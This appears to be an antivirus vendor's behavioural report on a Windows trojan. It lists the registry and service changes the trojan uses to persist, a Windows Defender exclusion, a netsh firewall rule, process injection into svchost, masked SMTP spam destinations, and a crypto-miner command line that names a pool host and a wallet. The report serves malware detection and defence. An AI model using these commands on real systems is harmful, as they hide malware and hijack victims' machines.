Trojan.Siggen18.46196

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\ctgbgacu] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\ctgbgacu] 'ImagePath' = '%WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\ctgbgacu] 'ImagePath' = '%WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe'

Creates the following services

'ctgbgacu' %WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe /d"<Full path to file>"
'ctgbgacu' %WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ctgbgacu' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\oiybtoid.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\oiybtoid.exe to %WINDIR%\syswow64\ctgbgacu\oiybtoid.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx##.###us-vadesecure.net':25
'sm#####.hosting.orange.pl':25
'mx##.mail.com':25
'cx#.##.#.cloudfilter.net':25
'mx#.##lkomsa.net':25
'so####1.sohu.com':25
'mx#.#eznam.cz':25
'mx####.concentric.com':25
'mx#######803.gslb.pphosted.com':25
'mx#.qq.com':25
'sm####n.orange.fr':25
'mx.##a.untd.com':25
'ma##.netuse.de':25
'mx#######a01.gslb.pphosted.com':25
'mx#######d01.gslb.pphosted.com':25
'mx##.##a.mailcore.net':25
'mx######64701.pphosted.com':25
'mx#.#ailgun.org':25
'mx.##exaero.com':25
'na#.###.#rotection.outlook.com':25
'mx##.##il.icloud.com':25
'ei####.#x.a.cloudfilter.net':25
'mx##.mb5p.com':25
'as##.#inet.net.au':25
'mx#.#angia.biz':25
'mx#######101.gslb.pphosted.com':25
'mx#######e02.gslb.pphosted.com':25
'ma####.wtxcoxmail.com':25
'mx#.#aver.com':25
'mx###02.web.de':25
'mx#.#xstorm.com':25
'ma##.wvva.net':25
'mx#######c01.gslb.pphosted.com':25
'mg.##tadv.net':25
'sc####.##g.1.0001.arsmtp.com':25
'mx######6dd01.pphosted.com':25
'mx##.###ud.vadesecure.com':25
'mx#####l.core.plus.net':25
'cu#######-3.in.mailcontrol.com':25
'mx.##.#tinternet.com':25
'mx###.comcast.net':25
'gr#########m.inbound.emailservice.io':25
'mx.####ght.synacor.com':25
'mx.########e.com.cust.b.hostedemail.com':25
'mx.###menergies.com':25
'r-####6.korea.com':25
'mx#######.mail.am0.yahoodns.net':25
'al######x-vip2.prodigy.net':25
'mx#######d04.gslb.pphosted.com':25
'mx.########e.prod.cloud.synchronoss.net':25
'al######x-vip1.prodigy.net':25
'a.##.##rnhardsson.com':25
'ma##.jjd.com':25
'ma####.smtproutes.org':25
'em##.freenet.de':25
'mx##.#-online.de':25
'mx###.mb5p.com':25
'ex######.lcwarriormail.com':25
'bo##########.mail.protection.outlook.com':25
'mx#######301.gslb.pphosted.com':25
'la#####ps04.suth.com':25
'mx#######501.gslb.pphosted.com':25
'mx####.##il.gm0.yahoodns.net':25
'mx#######901.gslb.pphosted.com':25
'ma###.#ailinator.com':25
'mx#######f01.gslb.pphosted.com':25
'mx#######e01.gslb.pphosted.com':25
'mx#.#ate.com':25
'mx.###akthur.com':25
'mx####.carrierzone.com':25
'pi######-net.mx.av-mx.com':25
'mx#.##curenet.net':25
'ma##.#nivera.com':25
'aspmx.google.com':25
'fa###ool.xyz':10060
'ma##.#-email.net':25
'mx#.#anmail.net':25
'un#########derson.com.1.0001.arsmtp.com':25
'me###ycity.com':25
'pa####x.above.com':25
'17#.#13.115.158':487
'sv####lfheim.top':443
'mx.####eatherford.com':25
'mx#######f02.gslb.pphosted.com':25
'mx#######701.gslb.pphosted.com':25
'17#.#13.115.153':423
'mx#######b01.gslb.pphosted.com':25
'sb#######.#ail.protection.outlook.com':25
'ho#########.olc.protection.outlook.com':25
'al##.###mx.parsonline.net':25
'mx#######202.gslb.pphosted.com':25
'gmail-smtp-in.l.google.com':25
'mx#######201.gslb.pphosted.com':25
'sp######er.stellarllc.net':25
'mx##.#achser.com':25
'mx######91d01.pphosted.com':25
'eu#.###.#rotection.outlook.com':25
'sm###.#ail.medcity.net':25
'ma##.#ope-mail.com':25
'mx.#len.pl':25
'mx#######601.gslb.pphosted.com':25
'mx#######b02.gslb.pphosted.com':25
'mx###.m2bp.com':25
'mt##.##0.yahoodns.net':25
'mx#######001.gslb.pphosted.com':25
'google.com':80
'17#.#13.115.157':423
'17#.#13.115.156':423
'80.#6.75.4':423
'17#.#13.115.155':423
'17#.#13.115.154':423
'aspmx.l.google.com':25
'fr#####.#inamail.sina.com.cn':25

TCP

HTTP GET requests

http://www.google.com/

Other

'sv####lfheim.top':443
'ma##.jjd.com':25
'na#.###.#rotection.outlook.com':25
'fa###ool.xyz':10060
'mx#.#ailgun.org':25
'mx##.##a.mailcore.net':25
'mx#######001.gslb.pphosted.com':25
'ma####.smtproutes.org':25
'mx#.#angia.biz':25
'mx#.qq.com':25
'mx####.concentric.com':25
'mx#.#eznam.cz':25
'alt1.aspmx.l.google.com':25
'sp######er.stellarllc.net':25
'a.##.##rnhardsson.com':25
'mx#######.mail.am0.yahoodns.net':25
'mx.###menergies.com':25
'gr#########m.inbound.emailservice.io':25
'mx.##.#tinternet.com':25
'cu#######-3.in.mailcontrol.com':25
'mx#####l.core.plus.net':25
'sc####.##g.1.0001.arsmtp.com':25
'mg.##tadv.net':25
'ma##.wvva.net':25
'mx#######101.gslb.pphosted.com':25
'mx#.#xstorm.com':25
'al######x-vip1.prodigy.net':25
'al######x-vip2.prodigy.net':25
'sb#######.#ail.protection.outlook.com':25
'al##.###mx.parsonline.net':25
'ho#########.olc.protection.outlook.com':25
'pa####x.above.com':25
'un#########derson.com.1.0001.arsmtp.com':25
'ma##.#-email.net':25
'mx#.#anmail.net':25
'aspmx.google.com':25
'ma##.#nivera.com':25
'mx#.##curenet.net':25
'mx####.carrierzone.com':25
'ex######.lcwarriormail.com':25
'mx.###akthur.com':25
'ma###.#ailinator.com':25
'mx####.##il.gm0.yahoodns.net':25
'17#.#13.115.158':487
'bo##########.mail.protection.outlook.com':25
'aspmx.l.google.com':25
'80.#6.75.4':423
'17#.#13.115.155':423
'17#.#13.115.157':423
'17#.#13.115.154':423
'17#.#13.115.153':423
'17#.#13.115.156':423
'mt##.##0.yahoodns.net':25
'mx###.m2bp.com':25
'eu#.###.#rotection.outlook.com':25
'gmail-smtp-in.l.google.com':25
'me###ycity.com':25
'pi######-net.mx.av-mx.com':25
'mx#.#aver.com':25
'ma####.wtxcoxmail.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK mx#######803.gslb.pphosted.com
DNS ASK co###ntric.net
DNS ASK mx####.concentric.com
DNS ASK so##.com
DNS ASK so####1.sohu.com
DNS ASK se##am.cz
DNS ASK mx#.#eznam.cz
DNS ASK ho###olar.com
DNS ASK te###msa.net
DNS ASK mx#.##lkomsa.net
DNS ASK co#.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK a.##.##rnhardsson.com
DNS ASK ma##.com
DNS ASK or##ge.pl
DNS ASK sm#####.hosting.orange.pl
DNS ASK mx##.###us-vadesecure.net
DNS ASK bo##mert.de
DNS ASK ma##.netuse.de
DNS ASK ju##.com
DNS ASK mx.##a.untd.com
DNS ASK ti###arner.com
DNS ASK mx#######e02.gslb.pphosted.com
DNS ASK ne###ape.net
DNS ASK pf##er.com
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK mx#.qq.com
DNS ASK cl####hannel.com
DNS ASK mx##.mail.com
DNS ASK be####rdsson.com
DNS ASK wa##doo.fr
DNS ASK we##v.net
DNS ASK na#.###.#rotection.outlook.com
DNS ASK cn##.org
DNS ASK wi##bow.com
DNS ASK ad###ero.com
DNS ASK mx.##exaero.com
DNS ASK co##ast.net
DNS ASK mx#.#ailgun.org
DNS ASK us#.edu
DNS ASK mx######64701.pphosted.com
DNS ASK su#.com
DNS ASK so#.dk
DNS ASK mx##.##a.mailcore.net
DNS ASK ps##i.com
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK ai##.net
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK ea###link.net
DNS ASK ma####.smtproutes.org
DNS ASK up##.com
DNS ASK ki###coe.net
DNS ASK pp##eb.com
DNS ASK st##art.com
DNS ASK co##i.net
DNS ASK mx#.#angia.biz
DNS ASK sm####n.orange.fr
DNS ASK ic##ud.com
DNS ASK fo##ail.com
DNS ASK gr####asinos.com
DNS ASK sb###obal.net
DNS ASK mc###son.com
DNS ASK fa###reedom.net
DNS ASK mg.##tadv.net
DNS ASK sc##cs.org
DNS ASK sc####.##g.1.0001.arsmtp.com
DNS ASK em##l.cz
DNS ASK ho###sdream.com
DNS ASK cb##ews.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK wv##.net
DNS ASK ma##.wvva.net
DNS ASK gt##c.com
DNS ASK ps#.com
DNS ASK al######x-vip1.prodigy.net
DNS ASK pi###ail.com
DNS ASK be###outh.com
DNS ASK we#.de
DNS ASK mx###02.web.de
DNS ASK os#.edu
DNS ASK na##r.com
DNS ASK mx#.#aver.com
DNS ASK fb####therford.com
DNS ASK mx.####eatherford.com
DNS ASK wt###xmail.com
DNS ASK ma####.wtxcoxmail.com
DNS ASK al##y.com
DNS ASK aa.com
DNS ASK mx##.###ud.vadesecure.com
DNS ASK mx######6dd01.pphosted.com
DNS ASK te##eal.com
DNS ASK mx#####l.core.plus.net
DNS ASK ai#.com
DNS ASK op###line.net
DNS ASK mx.########e.prod.cloud.synchronoss.net
DNS ASK be###outh.net
DNS ASK al######x-vip2.prodigy.net
DNS ASK ro##rs.com
DNS ASK mx#######.mail.am0.yahoodns.net
DNS ASK ho##ail.de
DNS ASK at#.net
DNS ASK ko##a.com
DNS ASK r-####6.korea.com
DNS ASK fr####ergies.com
DNS ASK ho##ail.se
DNS ASK mx.###menergies.com
DNS ASK mx##.##il.icloud.com
DNS ASK mx.########e.com.cust.b.hostedemail.com
DNS ASK mx.####ght.synacor.com
DNS ASK gr###box.com
DNS ASK gr#########m.inbound.emailservice.io
DNS ASK mx###.comcast.net
DNS ASK sy###r.co.uk
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK kr##ne.com
DNS ASK cu#######-3.in.mailcontrol.com
DNS ASK ao#.com
DNS ASK me###net.co.uk
DNS ASK an###fire.com
DNS ASK mx#######d04.gslb.pphosted.com
DNS ASK in###htbb.com
DNS ASK ei####.#x.a.cloudfilter.net
DNS ASK ei##om.net
DNS ASK mx##.mb5p.com
DNS ASK uc###edctr.org
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK wi####eeemail.com
DNS ASK ma###nator.com
DNS ASK ma###.#ailinator.com
DNS ASK th###e.com.au
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK wm###nect.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ep##.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK su#####andglobal.com
DNS ASK la#####ps04.suth.com
DNS ASK ba####gunusual.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK bo###ros.com
DNS ASK bo##########.mail.protection.outlook.com
DNS ASK fa#####insurance.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK pi###and.net
DNS ASK pi######-net.mx.av-mx.com
DNS ASK re##ed.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK rt###cialty.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK mx#.#ate.com
DNS ASK ta####eemail.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK na##.com
DNS ASK mx.###akthur.com
DNS ASK ti##jo.com
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK me###se.com.au
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK pa####x.above.com
DNS ASK me###ycity.com
DNS ASK un#####odanderson.com
DNS ASK un#########derson.com.1.0001.arsmtp.com
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK ha##ail.net
DNS ASK te###planet.net
DNS ASK si##.com
DNS ASK mx#.#anmail.net
DNS ASK fa###ool.xyz
DNS ASK me######einvestments.com
DNS ASK aspmx.google.com
DNS ASK un##era.com
DNS ASK ma##.#nivera.com
DNS ASK se###enet.net
DNS ASK mx#.##curenet.net
DNS ASK pe##ot.com
DNS ASK mx####.carrierzone.com
DNS ASK lc####iormail.com
DNS ASK ex######.lcwarriormail.com
DNS ASK ma####okstore.com
DNS ASK sv####lfheim.top
DNS ASK ma##.#-email.net
DNS ASK mx#.#xstorm.com
DNS ASK aspmx.l.google.com
DNS ASK ch#####nsnational.org
DNS ASK sn#f.fr
DNS ASK mx#######202.gslb.pphosted.com
DNS ASK ep###ames.com
DNS ASK pa###nline.net
DNS ASK al##.###mx.parsonline.net
DNS ASK ba##.com
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK sb##o.org
DNS ASK sb#######.#ail.protection.outlook.com
DNS ASK es####adaskalos.net
DNS ASK re##m.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK mx###.mb5p.com
DNS ASK t-##line.de
DNS ASK mx##.#-online.de
DNS ASK fr##net.de
DNS ASK em##.freenet.de
DNS ASK to##ta.com
DNS ASK jj#.com
DNS ASK ma##.jjd.com
DNS ASK ho##ail.fr
DNS ASK ad##.com.au
DNS ASK as##.#inet.net.au
DNS ASK em##rq.net
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK at##bi.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK gm##l.com
DNS ASK ve####nwireless.com
DNS ASK mm#.com
DNS ASK ro###tmail.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK jy##i.com
DNS ASK mx###.m2bp.com
DNS ASK ab##tt.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK am###trade.com
DNS ASK to####utomotive.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK fr###ier.com
DNS ASK o2.pl
DNS ASK google.com
DNS ASK mx.#len.pl
DNS ASK up#.com
DNS ASK pr####dlegal.com
DNS ASK ma##.#ope-mail.com
DNS ASK ri###now.com
DNS ASK hc####lthcare.com
DNS ASK sm###.#ail.medcity.net
DNS ASK li#e.se
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK at#.com
DNS ASK mx######91d01.pphosted.com
DNS ASK da##ser.com
DNS ASK mx##.#achser.com
DNS ASK rr#.net
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK sp######er.stellarllc.net
DNS ASK ol.com
DNS ASK fr#####.#inamail.sina.com.cn

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\ctgbgacu\oiybtoid.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ctgbgacu\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\oiybtoid.exe" %WINDIR%\SysWOW64\ctgbgacu\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create ctgbgacu binPath= "%WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description ctgbgacu "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start ctgbgacu' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ctgbgacu\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\oiybtoid.exe" %WINDIR%\SysWOW64\ctgbgacu\
'%WINDIR%\syswow64\sc.exe' create ctgbgacu binPath= "%WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description ctgbgacu "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start ctgbgacu
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

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